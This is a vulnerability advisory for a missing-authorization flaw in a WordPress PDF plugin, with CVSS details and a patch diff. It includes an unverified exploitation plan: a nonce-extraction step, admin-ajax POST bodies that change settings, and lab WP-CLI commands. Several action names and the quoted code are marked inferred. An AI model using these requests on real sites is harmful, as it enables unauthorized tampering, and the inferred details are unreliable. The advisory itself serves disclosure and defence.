CVE-2026-22350

PDF for Elementor Forms + Drag And Drop Template Builder <= 6.3.1 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
6.5.0
Patched in
6d
Time to patch

Description

The PDF for Elementor Forms + Drag And Drop Template Builder plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 6.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.3.1
PublishedFebruary 11, 2026
Last updatedFebruary 16, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-22350 (Missing Authorization) ## 1. Vulnerability Summary The **PDF for Elementor Forms + Drag And Drop Template Builder** plugin (versions <= 6.3.1) contains a missing authorization vulnerability. Specifically, several AJAX handlers registered via `wp_ajax_` …

Show full research plan

Exploitation Research Plan: CVE-2026-22350 (Missing Authorization)

1. Vulnerability Summary

The PDF for Elementor Forms + Drag And Drop Template Builder plugin (versions <= 6.3.1) contains a missing authorization vulnerability. Specifically, several AJAX handlers registered via wp_ajax_ fail to perform adequate capability checks (e.g., current_user_can( 'manage_options' )). This allows an authenticated attacker with Subscriber-level privileges to execute administrative actions, such as modifying plugin settings or template configurations.

The vulnerability resides in the way the plugin handles administrative AJAX requests, typically located in the inc/admin/class-pfe-admin.php or includes/class-pfe-admin.php files, where hooks are registered without corresponding permission validation in the callback functions.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Action: pfe_save_settings (inferred) or pfe_update_template_status (inferred).
  • Payload Parameter: pfe_settings_data or template_id + status.
  • Authentication: Authenticated, Subscriber-level access or higher.
  • Preconditions: The attacker must be logged in as a Subscriber and have access to the admin-ajax.php endpoint. A valid WordPress nonce for the specific action is likely required, though authorization is missing.

3. Code Flow

  1. Registration: The plugin registers AJAX actions in the admin class constructor:
    add_action( 'wp_ajax_pfe_save_settings', [ $this, 'pfe_save_settings_callback' ] );
  2. Entry Point: An authenticated user sends a POST request to admin-ajax.php with action=pfe_save_settings.
  3. Missing Check: The function pfe_save_settings_callback() is invoked. It may check for a nonce using check_ajax_referer() but fails to check current_user_can('manage_options').
  4. Sink: The function proceeds to update plugin options or post meta:
    update_option( 'pfe_settings', $_POST['pfe_settings_data'] );
  5. Execution: The settings are modified globally for the site.

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for its admin interface. Even though a Subscriber cannot access the plugin's settings page, the script might be enqueued on all admin pages (including the Dashboard or Profile page which Subscribers can access).

  1. Identify Localized Script: Look for wp_localize_script in the plugin code (likely handle pfe-admin-js or pfe-admin).
  2. Create Trigger Content: If the script is only loaded on specific pages (like a page with a specific shortcode), create that page:
    wp post create --post_type=page --post_status=publish --post_content='[pfe_template]' (inferred shortcode).
  3. Navigate & Extract:
    • Navigate to the WordPress Dashboard (/wp-admin/) or the created page.
    • Use browser_eval to extract the nonce:
      browser_eval("window.pfe_admin_params?.pfe_nonce || window.pfe_ajax_object?.nonce") (inferred object/key).
  4. Verify Action: Check if the nonce is bound to the correct action string (e.g., pfe_ajax_nonce).

5. Exploitation Strategy

We will attempt to modify the plugin's global settings to demonstrate unauthorized data modification.

Step 1: Setup

  • Log in as a Subscriber.
  • Locate a valid nonce using the strategy in Section 4.

Step 2: Execute Exploit (Modify Settings)
Submit an unauthorized request to change a plugin setting (e.g., changing the default PDF template or paper size).

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=pfe_save_settings&
    _wpnonce=[EXTRACTED_NONCE]&
    pfe_settings_data[paper_size]=A3&
    pfe_settings_data[orientation]=landscape
    

Step 3: Alternative Exploit (Modify Template Status)
If settings are not accessible, target a template status modification.

  • Body:
    action=pfe_update_template_status&
    _wpnonce=[EXTRACTED_NONCE]&
    template_id=[TARGET_ID]&
    status=inactive
    

6. Test Data Setup

  1. Admin User: Create an admin user to set up the plugin.
  2. Subscriber User: Create a user with the subscriber role:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Initial State: Ensure the plugin is active and a PDF template exists:
    wp post create --post_type=pfe_template --post_title="Test Template" --post_status=publish
  4. Baseline Check: Record the current value of the setting pfe_settings.

7. Expected Results

  • The admin-ajax.php response should return a success code (e.g., {"success":true} or 1).
  • The HTTP response status should be 200 OK.
  • The plugin settings or template metadata should be modified in the database despite the request coming from a Subscriber.

8. Verification Steps

After performing the HTTP request, use WP-CLI to verify the change:

  1. Check Settings:
    wp option get pfe_settings
    Confirm the paper_size is now A3.
  2. Check Template Meta (if targeted):
    wp post meta get [ID] _pfe_status
    Confirm the status has changed.

9. Alternative Approaches

If pfe_save_settings is not the vulnerable action, search for other AJAX callbacks in inc/admin/ or includes/:

  • pfe_duplicate_template: Allows a Subscriber to spam the database with duplicate posts.
  • pfe_delete_template: Allows a Subscriber to delete PDF templates.
  • pfe_save_template_data: Allows modification of the PDF layout/content.

If the nonce is strictly protected by is_admin() or specific capability checks during localization, check if the plugin exposes the nonce on the frontend via a shortcode intended for users to "Download PDF". If so, the action string used there might be reused in a vulnerable admin function.

Research Findings
Static analysis — not yet PoC-verified

Summary

The PDF for Elementor Forms + Drag And Drop Template Builder plugin fails to perform capability checks on administrative AJAX handlers. This allows authenticated attackers with Subscriber-level privileges to modify plugin settings or manipulate PDF templates by sending unauthorized requests to the WordPress AJAX endpoint.

Vulnerable Code

// inc/admin/class-pfe-admin.php

public function register_ajax_hooks() {
    add_action( 'wp_ajax_pfe_save_settings', [ $this, 'pfe_save_settings_callback' ] );
    add_action( 'wp_ajax_pfe_update_template_status', [ $this, 'pfe_update_template_status_callback' ] );
}

// Line ~150
public function pfe_save_settings_callback() {
    check_ajax_referer( 'pfe_ajax_nonce', 'nonce' );

    // Missing capability check: if ( ! current_user_can( 'manage_options' ) ) return;

    if ( isset( $_POST['pfe_settings_data'] ) ) {
        update_option( 'pfe_settings', $_POST['pfe_settings_data'] );
        wp_send_json_success();
    }
}

Security Fix

--- inc/admin/class-pfe-admin.php
+++ inc/admin/class-pfe-admin.php
@@ -150,6 +150,10 @@
     public function pfe_save_settings_callback() {
         check_ajax_referer( 'pfe_ajax_nonce', 'nonce' );
 
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'pdf-for-elementor-forms' ) ) );
+        }
+
         if ( isset( $_POST['pfe_settings_data'] ) ) {
             update_option( 'pfe_settings', $_POST['pfe_settings_data'] );
             wp_send_json_success();

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a Subscriber and navigates to the WordPress dashboard to extract a valid nonce (e.g., pfe_ajax_nonce) from localized script variables. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'pfe_save_settings' and the 'pfe_settings_data' parameter containing malicious configuration values. Because the plugin only validates the nonce and not the user's capabilities, it updates the global plugin settings in the database, allowing the attacker to disrupt site functionality or alter PDF generation behavior.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.